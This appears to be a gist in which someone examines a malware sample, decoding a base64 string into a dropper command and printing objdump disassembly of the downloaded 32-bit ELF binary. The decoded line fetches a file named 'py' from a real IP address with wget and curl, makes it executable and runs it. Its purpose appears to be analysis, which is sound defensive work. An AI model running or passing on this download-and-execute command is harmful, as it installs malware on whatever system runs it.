804ea96: 04 08 add $0x8,%al | |
804ea98: 0d dd 04 08 3c or $0x3c0804dd,%eax | |
804ea9d: dd 04 08 fldl (%eax,%ecx,1) | |
804eaa0: 43 inc %ebx | |
804eaa1: dd 04 08 fldl (%eax,%ecx,1) | |
804eaa4: 3c dd cmp $0xdd,%al | |
804eaa6: 04 08 add $0x8,%al | |
804eaa8: 86 dc xchg %bl,%ah | |
804eaaa: 04 08 add $0x8,%al | |
804eaac: 4a dec %edx | |
804eaad: dd 04 08 fldl (%eax,%ecx,1) | |
804eab0: 29 dd sub %ebx,%ebp | |
804eab2: 04 08 add $0x8,%al | |
804eab4: 14 dd adc $0xdd,%al | |
804eab6: 04 08 add $0x8,%al | |
804eab8: 43 inc %ebx | |
804eab9: dd 04 08 fldl (%eax,%ecx,1) | |
804eabc: 51 push %ecx | |
804eabd: dd 04 08 fldl (%eax,%ecx,1) | |
804eac0: 43 inc %ebx | |
804eac1: dd 04 08 fldl (%eax,%ecx,1) | |
804eac4: ff (bad) | |
804eac5: dc 04 08 faddl (%eax,%ecx,1) | |
804eac8: ff (bad) | |
804eac9: dc 04 08 faddl (%eax,%ecx,1) | |
804eacc: ff (bad) | |
804eacd: dc 04 08 faddl (%eax,%ecx,1) | |
804ead0: 29 dd sub %ebx,%ebp | |
804ead2: 04 08 add $0x8,%al | |
804ead4: 29 dd sub %ebx,%ebp | |
804ead6: 04 08 add $0x8,%al | |
804ead8: ff (bad) | |
804ead9: dc 04 08 faddl (%eax,%ecx,1) | |
804eadc: ff (bad) | |
804eadd: dc 04 08 faddl (%eax,%ecx,1) | |
804eae0: 29 dd sub %ebx,%ebp | |
804eae2: 04 08 add $0x8,%al | |
804eae4: 29 dd sub %ebx,%ebp | |
804eae6: 04 08 add $0x8,%al | |
804eae8: 29 dd sub %ebx,%ebp | |
804eaea: 04 08 add $0x8,%al | |
804eaec: 29 dd sub %ebx,%ebp | |
804eaee: 04 08 add $0x8,%al | |
804eaf0: 29 dd sub %ebx,%ebp | |
804eaf2: 04 08 add $0x8,%al | |
804eaf4: 29 dd sub %ebx,%ebp | |
804eaf6: 04 08 add $0x8,%al | |
804eaf8: 29 dd sub %ebx,%ebp | |
804eafa: 04 08 add $0x8,%al | |
804eafc: 29 dd sub %ebx,%ebp | |
804eafe: 04 08 add $0x8,%al | |
804eb00: 29 dd sub %ebx,%ebp | |
804eb02: 04 08 add $0x8,%al | |
804eb04: 29 dd sub %ebx,%ebp | |
804eb06: 04 08 add $0x8,%al | |
804eb08: 29 dd sub %ebx,%ebp | |
804eb0a: 04 08 add $0x8,%al | |
804eb0c: 29 dd sub %ebx,%ebp | |
804eb0e: 04 08 add $0x8,%al | |
804eb10: 29 dd sub %ebx,%ebp | |
804eb12: 04 08 add $0x8,%al | |
804eb14: 29 dd sub %ebx,%ebp | |
804eb16: 04 08 add $0x8,%al | |
804eb18: 2a dc sub %ah,%bl | |
804eb1a: 04 08 add $0x8,%al | |
804eb1c: 2a dc sub %ah,%bl | |
804eb1e: 04 08 add $0x8,%al | |
804eb20: 0d dd 04 08 0d or $0xd0804dd,%eax | |
804eb25: dd 04 08 fldl (%eax,%ecx,1) | |
804eb28: 0d dd 04 08 14 or $0x140804dd,%eax | |
804eb2d: dd 04 08 fldl (%eax,%ecx,1) | |
804eb30: 1b dd sbb %ebp,%ebx | |
804eb32: 04 08 add $0x8,%al | |
804eb34: 22 dd and %ch,%bl | |
804eb36: 04 08 add $0x8,%al | |
804eb38: 90 nop | |
804eb39: dc 04 08 faddl (%eax,%ecx,1) | |
804eb3c: 22 dd and %ch,%bl | |
804eb3e: 04 08 add $0x8,%al | |
804eb40: 2a dc sub %ah,%bl | |
804eb42: 04 08 add $0x8,%al | |
804eb44: 2a dc sub %ah,%bl | |
804eb46: 04 08 add $0x8,%al | |
804eb48: 2a dc sub %ah,%bl | |
804eb4a: 04 08 add $0x8,%al | |
804eb4c: 2a dc sub %ah,%bl | |
804eb4e: 04 08 add $0x8,%al | |
804eb50: 2a dc sub %ah,%bl | |
804eb52: 04 08 add $0x8,%al | |
804eb54: 2a dc sub %ah,%bl | |
804eb56: 04 08 add $0x8,%al | |
804eb58: 2a dc sub %ah,%bl | |
804eb5a: 04 08 add $0x8,%al | |
804eb5c: 2a dc sub %ah,%bl | |
804eb5e: 04 08 add $0x8,%al | |
804eb60: 29 dd sub %ebx,%ebp | |
804eb62: 04 08 add $0x8,%al | |
804eb64: 29 dd sub %ebx,%ebp | |
804eb66: 04 08 add $0x8,%al | |
804eb68: 06 push %es | |
804eb69: dd 04 08 fldl (%eax,%ecx,1) | |
804eb6c: 9a dc 04 08 a4 dc 04 lcall $0x4dc,$0xa40804dc | |
804eb73: 08 1b or %bl,(%ebx) | |
804eb75: dd 04 08 fldl (%eax,%ecx,1) | |
804eb78: 2a dc sub %ah,%bl | |
804eb7a: 04 08 add $0x8,%al | |
804eb7c: 2a dc sub %ah,%bl | |
804eb7e: 04 08 add $0x8,%al | |
804eb80: 2a dc sub %ah,%bl | |
804eb82: 04 08 add $0x8,%al | |
804eb84: 2a dc sub %ah,%bl | |
804eb86: 04 08 add $0x8,%al | |
804eb88: ff (bad) | |
804eb89: dc 04 08 faddl (%eax,%ecx,1) | |
804eb8c: 29 dd sub %ebx,%ebp | |
804eb8e: 04 08 add $0x8,%al | |
804eb90: 29 dd sub %ebx,%ebp | |
804eb92: 04 08 add $0x8,%al | |
804eb94: 2a dc sub %ah,%bl | |
804eb96: 04 08 add $0x8,%al | |
804eb98: 2a dc sub %ah,%bl | |
804eb9a: 04 08 add $0x8,%al | |
804eb9c: 2a dc sub %ah,%bl | |
804eb9e: 04 08 add $0x8,%al | |
804eba0: ae scas %es:(%edi),%al | |
804eba1: dc 04 08 faddl (%eax,%ecx,1) | |
804eba4: f1 icebp | |
804eba5: dc 04 08 faddl (%eax,%ecx,1) | |
804eba8: 2e dd 04 08 fldl %cs:(%eax,%ecx,1) | |
804ebac: 06 push %es | |
804ebad: dd 04 08 fldl (%eax,%ecx,1) | |
804ebb0: b8 dc 04 08 14 mov $0x140804dc,%eax | |
804ebb5: dd 04 08 fldl (%eax,%ecx,1) | |
804ebb8: 14 dd adc $0xdd,%al | |
804ebba: 04 08 add $0x8,%al | |
804ebbc: f8 clc | |
804ebbd: dc 04 08 faddl (%eax,%ecx,1) | |
804ebc0: 35 dd 04 08 51 xor $0x510804dd,%eax | |
804ebc5: dd 04 08 fldl (%eax,%ecx,1) | |
804ebc8: f1 icebp | |
804ebc9: dc 04 08 faddl (%eax,%ecx,1) | |
804ebcc: 2e dd 04 08 fldl %cs:(%eax,%ecx,1) | |
804ebd0: 51 push %ecx | |
804ebd1: dd 04 08 fldl (%eax,%ecx,1) | |
804ebd4: c2 dc 04 ret $0x4dc | |
804ebd7: 08 4a dd or %cl,-0x23(%edx) | |
804ebda: 04 08 add $0x8,%al | |
804ebdc: 29 dd sub %ebx,%ebp | |
804ebde: 04 08 add $0x8,%al | |
804ebe0: 29 dd sub %ebx,%ebp | |
804ebe2: 04 08 add $0x8,%al | |
804ebe4: cc int3 | |
804ebe5: dc 04 08 faddl (%eax,%ecx,1) | |
804ebe8: d6 (bad) | |
804ebe9: dc 04 08 faddl (%eax,%ecx,1) | |
804ebec: 43 inc %ebx | |
804ebed: dd 04 08 fldl (%eax,%ecx,1) | |
804ebf0: 06 push %es | |
804ebf1: dd 04 08 fldl (%eax,%ecx,1) | |
804ebf4: 06 push %es | |
804ebf5: dd 04 08 fldl (%eax,%ecx,1) | |
804ebf8: 06 push %es | |
804ebf9: dd 04 08 fldl (%eax,%ecx,1) | |
804ebfc: 06 push %es | |
804ebfd: dd 04 08 fldl (%eax,%ecx,1) | |
804ec00: 2a dc sub %ah,%bl | |
804ec02: 04 08 add $0x8,%al | |
804ec04: 2a dc sub %ah,%bl | |
804ec06: 04 08 add $0x8,%al | |
804ec08: 29 dd sub %ebx,%ebp | |
804ec0a: 04 08 add $0x8,%al | |
804ec0c: 29 dd sub %ebx,%ebp | |
804ec0e: 04 08 add $0x8,%al | |
804ec10: 2a dc sub %ah,%bl | |
804ec12: 04 08 add $0x8,%al | |
804ec14: 2a dc sub %ah,%bl | |
804ec16: 04 08 add $0x8,%al | |
804ec18: 29 dd sub %ebx,%ebp | |
804ec1a: 04 08 add $0x8,%al | |
804ec1c: 34 dc xor $0xdc,%al | |
804ec1e: 04 08 add $0x8,%al | |
804ec20: 34 dc xor $0xdc,%al | |
804ec22: 04 08 add $0x8,%al | |
804ec24: 34 dc xor $0xdc,%al | |
804ec26: 04 08 add $0x8,%al | |
804ec28: 34 dc xor $0xdc,%al | |
804ec2a: 04 08 add $0x8,%al | |
804ec2c: 34 dc xor $0xdc,%al | |
804ec2e: 04 08 add $0x8,%al | |
804ec30: 34 dc xor $0xdc,%al | |
804ec32: 04 08 add $0x8,%al | |
804ec34: 34 dc xor $0xdc,%al | |
804ec36: 04 08 add $0x8,%al | |
804ec38: 34 dc xor $0xdc,%al | |
804ec3a: 04 08 add $0x8,%al | |
804ec3c: 34 dc xor $0xdc,%al | |
804ec3e: 04 08 add $0x8,%al | |
804ec40: 34 dc xor $0xdc,%al | |
804ec42: 04 08 add $0x8,%al | |
804ec44: 34 dc xor $0xdc,%al | |
804ec46: 04 08 add $0x8,%al | |
804ec48: 34 dc xor $0xdc,%al | |
804ec4a: 04 08 add $0x8,%al | |
804ec4c: 34 dc xor $0xdc,%al | |
804ec4e: 04 08 add $0x8,%al | |
804ec50: 34 dc xor $0xdc,%al | |
804ec52: 04 08 add $0x8,%al | |
804ec54: 34 dc xor $0xdc,%al | |
804ec56: 04 08 add $0x8,%al | |
804ec58: 34 dc xor $0xdc,%al | |
804ec5a: 04 08 add $0x8,%al | |
804ec5c: 34 dc xor $0xdc,%al | |
804ec5e: 04 08 add $0x8,%al | |
804ec60: dd dc fstp %st(4) | |
804ec62: 04 08 add $0x8,%al | |
804ec64: 2f das | |
804ec65: 64 65 76 2f fs gs jbe 0x804ec98 | |
804ec69: 6e outsb %ds:(%esi),(%dx) | |
804ec6a: 75 6c jne 0x804ecd8 | |
804ec6c: 6c insb (%dx),%es:(%edi) | |
... | |
804ed81: 02 00 add (%eax),%al | |
804ed83: 02 00 add (%eax),%al | |
804ed85: 02 00 add (%eax),%al | |
804ed87: 02 00 add (%eax),%al | |
804ed89: 02 00 add (%eax),%al | |
804ed8b: 02 00 add (%eax),%al | |
804ed8d: 02 00 add (%eax),%al | |
804ed8f: 02 00 add (%eax),%al | |
804ed91: 02 20 add (%eax),%ah | |
804ed93: 03 20 add (%eax),%esp | |
804ed95: 02 20 add (%eax),%ah | |
804ed97: 02 20 add (%eax),%ah | |
804ed99: 02 20 add (%eax),%ah | |
804ed9b: 02 00 add (%eax),%al | |
804ed9d: 02 00 add (%eax),%al | |
804ed9f: 02 00 add (%eax),%al | |
804eda1: 02 00 add (%eax),%al | |
804eda3: 02 00 add (%eax),%al | |
804eda5: 02 00 add (%eax),%al | |
804eda7: 02 00 add (%eax),%al | |
804eda9: 02 00 add (%eax),%al | |
804edab: 02 00 add (%eax),%al | |
804edad: 02 00 add (%eax),%al | |
804edaf: 02 00 add (%eax),%al | |
804edb1: 02 00 add (%eax),%al | |
804edb3: 02 00 add (%eax),%al | |
804edb5: 02 00 add (%eax),%al | |
804edb7: 02 00 add (%eax),%al | |
804edb9: 02 00 add (%eax),%al | |
804edbb: 02 00 add (%eax),%al | |
804edbd: 02 00 add (%eax),%al | |
804edbf: 02 60 01 add 0x1(%eax),%ah | |
804edc2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edc6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edca: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edce: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edd2: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edd6: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edda: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edde: c0 04 d8 08 rolb $0x8,(%eax,%ebx,8) | |
804ede2: d8 08 fmuls (%eax) | |
804ede4: d8 08 fmuls (%eax) | |
804ede6: d8 08 fmuls (%eax) | |
804ede8: d8 08 fmuls (%eax) | |
804edea: d8 08 fmuls (%eax) | |
804edec: d8 08 fmuls (%eax) | |
804edee: d8 08 fmuls (%eax) | |
804edf0: d8 08 fmuls (%eax) | |
804edf2: d8 08 fmuls (%eax) | |
804edf4: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edf8: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804edfc: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee00: c0 04 d5 08 d5 08 d5 rolb $0x8,-0x2af72af8(,%edx,8) | |
804ee07: 08 | |
804ee08: d5 08 aad $0x8 | |
804ee0a: d5 08 aad $0x8 | |
804ee0c: d5 08 aad $0x8 | |
804ee0e: c5 08 lds (%eax),%ecx | |
804ee10: c5 08 lds (%eax),%ecx | |
804ee12: c5 08 lds (%eax),%ecx | |
804ee14: c5 08 lds (%eax),%ecx | |
804ee16: c5 08 lds (%eax),%ecx | |
804ee18: c5 08 lds (%eax),%ecx | |
804ee1a: c5 08 lds (%eax),%ecx | |
804ee1c: c5 08 lds (%eax),%ecx | |
804ee1e: c5 08 lds (%eax),%ecx | |
804ee20: c5 08 lds (%eax),%ecx | |
804ee22: c5 08 lds (%eax),%ecx | |
804ee24: c5 08 lds (%eax),%ecx | |
804ee26: c5 08 lds (%eax),%ecx | |
804ee28: c5 08 lds (%eax),%ecx | |
804ee2a: c5 08 lds (%eax),%ecx | |
804ee2c: c5 08 lds (%eax),%ecx | |
804ee2e: c5 08 lds (%eax),%ecx | |
804ee30: c5 08 lds (%eax),%ecx | |
804ee32: c5 08 lds (%eax),%ecx | |
804ee34: c5 08 lds (%eax),%ecx | |
804ee36: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee3a: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee3e: c0 04 c0 04 rolb $0x4,(%eax,%eax,8) | |
804ee42: d6 (bad) | |
804ee43: 08 d6 or %dl,%dh | |
804ee45: 08 d6 or %dl,%dh | |
804ee47: 08 d6 or %dl,%dh | |
804ee49: 08 d6 or %dl,%dh | |
804ee4b: 08 d6 or %dl,%dh | |
804ee4d: 08 c6 or %al,%dh | |
804ee4f: 08 c6 or %al,%dh | |
804ee51: 08 c6 or %al,%dh | |
804ee53: 08 c6 or %al,%dh | |
804ee55: 08 c6 or %al,%dh | |
804ee57: 08 c6 or %al,%dh | |
804ee59: 08 c6 or %al,%dh | |
804ee5b: 08 c6 or %al,%dh | |
804ee5d: 08 c6 or %al,%dh | |
804ee5f: 08 c6 or %al,%dh | |
804ee61: 08 c6 or %al,%dh | |
804ee63: 08 c6 or %al,%dh | |
804ee65: 08 c6 or %al,%dh | |
804ee67: 08 c6 or %al,%dh | |
804ee69: 08 c6 or %al,%dh | |
804ee6b: 08 c6 or %al,%dh | |
804ee6d: 08 c6 or %al,%dh | |
804ee6f: 08 c6 or %al,%dh | |
804ee71: 08 c6 or %al,%dh | |
804ee73: 08 c6 or %al,%dh | |
804ee75: 08 c0 or %al,%al | |
804ee77: 04 c0 add $0xc0,%al | |
804ee79: 04 c0 add $0xc0,%al | |
804ee7b: 04 c0 add $0xc0,%al | |
804ee7d: 04 00 add $0x0,%al | |
804ee7f: 02 00 add (%eax),%al | |
... | |
Disassembly of section .ctors: | |
0804f000 <.ctors>: | |
804f000: ff (bad) | |
804f001: ff (bad) | |
804f002: ff (bad) | |
804f003: ff 00 incl (%eax) | |
804f005: 00 00 add %al,(%eax) | |
... | |
Disassembly of section .dtors: | |
0804f008 <.dtors>: | |
804f008: ff (bad) | |
804f009: ff (bad) | |
804f00a: ff (bad) | |
804f00b: ff 00 incl (%eax) | |
804f00d: 00 00 add %al,(%eax) | |
... | |
Disassembly of section .data: | |
0804f020 <.data>: | |
804f020: 00 00 add %al,(%eax) | |
804f022: 00 00 add %al,(%eax) | |
804f024: 0c f0 or $0xf0,%al | |
804f026: 04 08 add $0x8,%al | |
804f028: ff (bad) | |
804f029: ff (bad) | |
804f02a: ff (bad) | |
804f02b: ff (bad) | |
804f02c: ff (bad) | |
804f02d: ff (bad) | |
804f02e: ff (bad) | |
804f02f: ff 20 jmp *(%eax) | |
804f031: be 04 08 af fb mov $0xfbaf0804,%esi | |
804f036: de de (bad) | |
... | |
804f044: 01 00 add %eax,(%eax) | |
... | |
804f05a: 00 00 add %al,(%eax) | |
804f05c: 01 00 add %eax,(%eax) | |
... | |
804f072: 00 00 add %al,(%eax) | |
804f074: 01 00 add %eax,(%eax) | |
... | |
804f07e: 00 00 add %al,(%eax) | |
804f080: 93 xchg %eax,%ebx | |
804f081: e8 04 08 80 ed call 0xf584f88a | |
804f086: 04 08 add $0x8,%al | |
Disassembly of section .bss: | |
0804f0a0 <.bss>: | |
... |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
scott@satellite:~> base64 -d | |
d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY3VybCAtTyBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY= | |
wget http://152.67.63.150/py; curl -O http://152.67.63.150/py; chmod 777 py; ./py rce.x86 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
> objdump -D py | |
py: file format elf32-i386 | |
# It is unclear what is actually in this thing, it is *not* a normal process. | |
> objdump -pD py | |
py: file format elf32-i386 | |
Program Header: | |
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 | |
filesz 0x00003fe6 memsz 0x00003fe6 flags r-x | |
LOAD off 0x00000000 vaddr 0x0804c000 paddr 0x0804c000 align 2**12 | |
filesz 0x00000000 memsz 0x000035c0 flags rw- | |
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 | |
filesz 0x00000000 memsz 0x00000000 flags rw- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
py: file format elf32-i386 | |
Disassembly of section .init: | |
08048094 <.init>: | |
8048094: 55 push %ebp | |
8048095: 89 e5 mov %esp,%ebp | |
8048097: 53 push %ebx | |
8048098: e8 13 00 00 00 call 0x80480b0 | |
804809d: 81 c3 77 6f 00 00 add $0x6f77,%ebx | |
80480a3: e8 68 00 00 00 call 0x8048110 | |
80480a8: e8 83 67 00 00 call 0x804e830 | |
80480ad: 5b pop %ebx | |
80480ae: 5d pop %ebp | |
80480af: c3 ret | |
Disassembly of section .text: | |
080480b0 <.text>: | |
80480b0: 8b 1c 24 mov (%esp),%ebx | |
80480b3: c3 ret | |
80480b4: 90 nop | |
80480b5: 90 nop | |
80480b6: 90 nop | |
80480b7: 90 nop | |
80480b8: 90 nop | |
80480b9: 90 nop | |
80480ba: 90 nop | |
80480bb: 90 nop | |
80480bc: 90 nop | |
80480bd: 90 nop | |
80480be: 90 nop | |
80480bf: 90 nop | |
80480c0: 55 push %ebp | |
80480c1: 89 e5 mov %esp,%ebp | |
80480c3: 83 ec 08 sub $0x8,%esp | |
80480c6: 80 3d a0 f0 04 08 00 cmpb $0x0,0x804f0a0 | |
80480cd: 74 0c je 0x80480db | |
80480cf: eb 35 jmp 0x8048106 | |
80480d1: 83 c0 04 add $0x4,%eax | |
80480d4: a3 24 f0 04 08 mov %eax,0x804f024 | |
80480d9: ff d2 call *%edx | |
80480db: a1 24 f0 04 08 mov 0x804f024,%eax | |
80480e0: 8b 10 mov (%eax),%edx | |
80480e2: 85 d2 test %edx,%edx | |
80480e4: 75 eb jne 0x80480d1 | |
80480e6: b8 00 00 00 00 mov $0x0,%eax | |
80480eb: 85 c0 test %eax,%eax | |
80480ed: 74 10 je 0x80480ff | |
80480ef: 83 ec 0c sub $0xc,%esp | |
80480f2: 68 80 ef 04 08 push $0x804ef80 | |
80480f7: e8 04 7f fb f7 call 0x0 | |
80480fc: 83 c4 10 add $0x10,%esp | |
80480ff: c6 05 a0 f0 04 08 01 movb $0x1,0x804f0a0 | |
8048106: c9 leave | |
8048107: c3 ret | |
8048108: 90 nop | |
8048109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi | |
8048110: 55 push %ebp | |
8048111: b8 00 00 00 00 mov $0x0,%eax | |
8048116: 89 e5 mov %esp,%ebp | |
8048118: 83 ec 08 sub $0x8,%esp | |
804811b: e8 00 00 00 00 call 0x8048120 | |
8048120: 5a pop %edx | |
8048121: 81 c2 f4 6e 00 00 add $0x6ef4,%edx | |
8048127: 85 c0 test %eax,%eax | |
8048129: 74 15 je 0x8048140 | |
804812b: 52 push %edx | |
804812c: 6a 00 push $0x0 | |
804812e: 68 a4 f0 04 08 push $0x804f0a4 | |
8048133: 68 80 ef 04 08 push $0x804ef80 | |
8048138: e8 c3 7e fb f7 call 0x0 | |
804813d: 83 c4 10 add $0x10,%esp | |
8048140: a1 10 f0 04 08 mov 0x804f010,%eax | |
8048145: 85 c0 test %eax,%eax | |
8048147: 74 16 je 0x804815f | |
8048149: b8 00 00 00 00 mov $0x0,%eax | |
804814e: 85 c0 test %eax,%eax | |
8048150: 74 0d je 0x804815f | |
8048152: 83 ec 0c sub $0xc,%esp | |
8048155: 68 10 f0 04 08 push $0x804f010 | |
804815a: ff d0 call *%eax | |
804815c: 83 c4 10 add $0x10,%esp | |
804815f: c9 leave | |
8048160: c3 ret | |
8048161: 90 nop | |
8048162: 90 nop | |
8048163: 90 nop | |
8048164: 31 ed xor %ebp,%ebp | |
8048166: 5e pop %esi | |
8048167: 89 e1 mov %esp,%ecx | |
8048169: 83 e4 f0 and $0xfffffff0,%esp | |
804816c: 50 push %eax | |
804816d: 54 push %esp | |
804816e: 52 push %edx | |
804816f: 68 56 e8 04 08 push $0x804e856 | |
8048174: 68 94 80 04 08 push $0x8048094 | |
8048179: 51 push %ecx | |
804817a: 56 push %esi | |
804817b: 68 50 ac 04 08 push $0x804ac50 | |
8048180: e8 8c 5c 00 00 call 0x804de11 | |
8048185: f4 hlt | |
8048186: 90 nop | |
8048187: 90 nop | |
8048188: 90 nop | |
8048189: 90 nop | |
804818a: 90 nop | |
804818b: 90 nop | |
804818c: 90 nop | |
804818d: 90 nop | |
804818e: 90 nop | |
804818f: 90 nop | |
8048190: 55 push %ebp | |
8048191: 89 e5 mov %esp,%ebp | |
8048193: 57 push %edi | |
8048194: 56 push %esi | |
8048195: 53 push %ebx | |
8048196: 83 ec 0c sub $0xc,%esp | |
8048199: 8a 5d 0c mov 0xc(%ebp),%bl | |
804819c: 0f b6 7d 10 movzbl 0x10(%ebp),%edi | |
80481a0: 0f b6 75 18 movzbl 0x18(%ebp),%esi | |
80481a4: e8 58 3f 00 00 call 0x804c101 | |
80481a9: 83 f8 ff cmp $0xffffffff,%eax | |
80481ac: 74 04 je 0x80481b2 | |
80481ae: 85 c0 test %eax,%eax | |
80481b0: 7e 0e jle 0x80481c0 | |
80481b2: 8d 65 f4 lea -0xc(%ebp),%esp | |
80481b5: 5b pop %ebx | |
80481b6: 5e pop %esi | |
80481b7: 5f pop %edi | |
80481b8: 5d pop %ebp | |
80481b9: c3 ret | |
80481ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
80481c0: e8 3c 3f 00 00 call 0x804c101 | |
80481c5: 83 f8 ff cmp $0xffffffff,%eax | |
80481c8: 74 48 je 0x8048212 | |
80481ca: 85 c0 test %eax,%eax | |
80481cc: 75 4e jne 0x804821c | |
80481ce: 83 ec 0c sub $0xc,%esp | |
80481d1: 8b 45 08 mov 0x8(%ebp),%eax | |
80481d4: 50 push %eax | |
80481d5: e8 b2 58 00 00 call 0x804da8c | |
80481da: e8 6e 3f 00 00 call 0x804c14d | |
80481df: 5e pop %esi | |
80481e0: 5f pop %edi | |
80481e1: 6a 09 push $0x9 | |
80481e3: 50 push %eax | |
80481e4: e8 c9 3f 00 00 call 0x804c1b2 | |
80481e9: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
80481f0: e8 30 58 00 00 call 0x804da25 | |
80481f5: 89 f0 mov %esi,%eax | |
80481f7: 8b 5d 1c mov 0x1c(%ebp),%ebx | |
80481fa: 25 ff 00 00 00 and $0xff,%eax | |
80481ff: 53 push %ebx | |
8048200: 50 push %eax | |
8048201: 89 f8 mov %edi,%eax | |
8048203: 8b 4d 14 mov 0x14(%ebp),%ecx | |
8048206: 25 ff 00 00 00 and $0xff,%eax | |
804820b: 51 push %ecx | |
804820c: 50 push %eax | |
804820d: ff 12 call *(%edx) | |
804820f: 83 c4 10 add $0x10,%esp | |
8048212: 83 ec 0c sub $0xc,%esp | |
8048215: 6a 00 push $0x0 | |
8048217: e8 09 58 00 00 call 0x804da25 | |
804821c: 31 c0 xor %eax,%eax | |
804821e: a0 bc f0 04 08 mov 0x804f0bc,%al | |
8048223: 89 45 f0 mov %eax,-0x10(%ebp) | |
8048226: 85 c0 test %eax,%eax | |
8048228: 7e e8 jle 0x8048212 | |
804822a: 8b 0d c0 f0 04 08 mov 0x804f0c0,%ecx | |
8048230: 31 c0 xor %eax,%eax | |
8048232: 8b 11 mov (%ecx),%edx | |
8048234: 3a 5a 04 cmp 0x4(%edx),%bl | |
8048237: 75 0f jne 0x8048248 | |
8048239: eb ba jmp 0x80481f5 | |
804823b: 90 nop | |
804823c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048240: 8b 14 81 mov (%ecx,%eax,4),%edx | |
8048243: 38 5a 04 cmp %bl,0x4(%edx) | |
8048246: 74 ad je 0x80481f5 | |
8048248: 40 inc %eax | |
8048249: 3b 45 f0 cmp -0x10(%ebp),%eax | |
804824c: 75 f2 jne 0x8048240 | |
804824e: eb c2 jmp 0x8048212 | |
8048250: 55 push %ebp | |
8048251: 57 push %edi | |
8048252: 56 push %esi | |
8048253: 53 push %ebx | |
8048254: 83 ec 3c sub $0x3c,%esp | |
8048257: 8b 5c 24 54 mov 0x54(%esp),%ebx | |
804825b: 8b 74 24 50 mov 0x50(%esp),%esi | |
804825f: 83 fb 03 cmp $0x3,%ebx | |
8048262: 77 0c ja 0x8048270 | |
8048264: 83 c4 3c add $0x3c,%esp | |
8048267: 5b pop %ebx | |
8048268: 5e pop %esi | |
8048269: 5f pop %edi | |
804826a: 5d pop %ebp | |
804826b: c3 ret | |
804826c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048270: 8b 2e mov (%esi),%ebp | |
8048272: 66 c1 cd 08 ror $0x8,%bp | |
8048276: c1 cd 10 ror $0x10,%ebp | |
8048279: 66 c1 cd 08 ror $0x8,%bp | |
804827d: 83 fb 04 cmp $0x4,%ebx | |
8048280: 74 e2 je 0x8048264 | |
8048282: 8a 46 04 mov 0x4(%esi),%al | |
8048285: 83 fb 05 cmp $0x5,%ebx | |
8048288: 88 44 24 17 mov %al,0x17(%esp) | |
804828c: 74 d6 je 0x8048264 | |
804828e: 8a 46 05 mov 0x5(%esi),%al | |
8048291: 84 c0 test %al,%al | |
8048293: 74 cf je 0x8048264 | |
8048295: 25 ff 00 00 00 and $0xff,%eax | |
804829a: 8d 53 fa lea -0x6(%ebx),%edx | |
804829d: 89 44 24 18 mov %eax,0x18(%esp) | |
80482a1: 89 54 24 30 mov %edx,0x30(%esp) | |
80482a5: 8d 04 80 lea (%eax,%eax,4),%eax | |
80482a8: 89 44 24 10 mov %eax,0x10(%esp) | |
80482ac: 39 c2 cmp %eax,%edx | |
80482ae: 72 b4 jb 0x8048264 | |
80482b0: 50 push %eax | |
80482b1: 50 push %eax | |
80482b2: 6a 18 push $0x18 | |
80482b4: 8d 7e 06 lea 0x6(%esi),%edi | |
80482b7: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
80482bb: 51 push %ecx | |
80482bc: e8 23 4d 00 00 call 0x804cfe4 | |
80482c1: 89 44 24 48 mov %eax,0x48(%esp) | |
80482c5: 83 c4 10 add $0x10,%esp | |
80482c8: 8b 54 24 18 mov 0x18(%esp),%edx | |
80482cc: 85 d2 test %edx,%edx | |
80482ce: 7e 3d jle 0x804830d | |
80482d0: 8b 54 24 10 mov 0x10(%esp),%edx | |
80482d4: 89 c1 mov %eax,%ecx | |
80482d6: 8d 74 16 06 lea 0x6(%esi,%edx,1),%esi | |
80482da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
80482e0: 8b 17 mov (%edi),%edx | |
80482e2: 89 51 10 mov %edx,0x10(%ecx) | |
80482e5: 8a 47 04 mov 0x4(%edi),%al | |
80482e8: 83 c7 05 add $0x5,%edi | |
80482eb: 88 41 14 mov %al,0x14(%ecx) | |
80482ee: 66 c7 01 02 00 movw $0x2,(%ecx) | |
80482f3: 89 51 04 mov %edx,0x4(%ecx) | |
80482f6: 83 c1 18 add $0x18,%ecx | |
80482f9: 39 f7 cmp %esi,%edi | |
80482fb: 75 e3 jne 0x80482e0 | |
80482fd: 8b 74 24 18 mov 0x18(%esp),%esi | |
8048301: 8d 04 b6 lea (%esi,%esi,4),%eax | |
8048304: 29 c3 sub %eax,%ebx | |
8048306: 83 eb 06 sub $0x6,%ebx | |
8048309: 89 5c 24 30 mov %ebx,0x30(%esp) | |
804830d: 8b 44 24 30 mov 0x30(%esp),%eax | |
8048311: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp) | |
8048318: 00 | |
8048319: 85 c0 test %eax,%eax | |
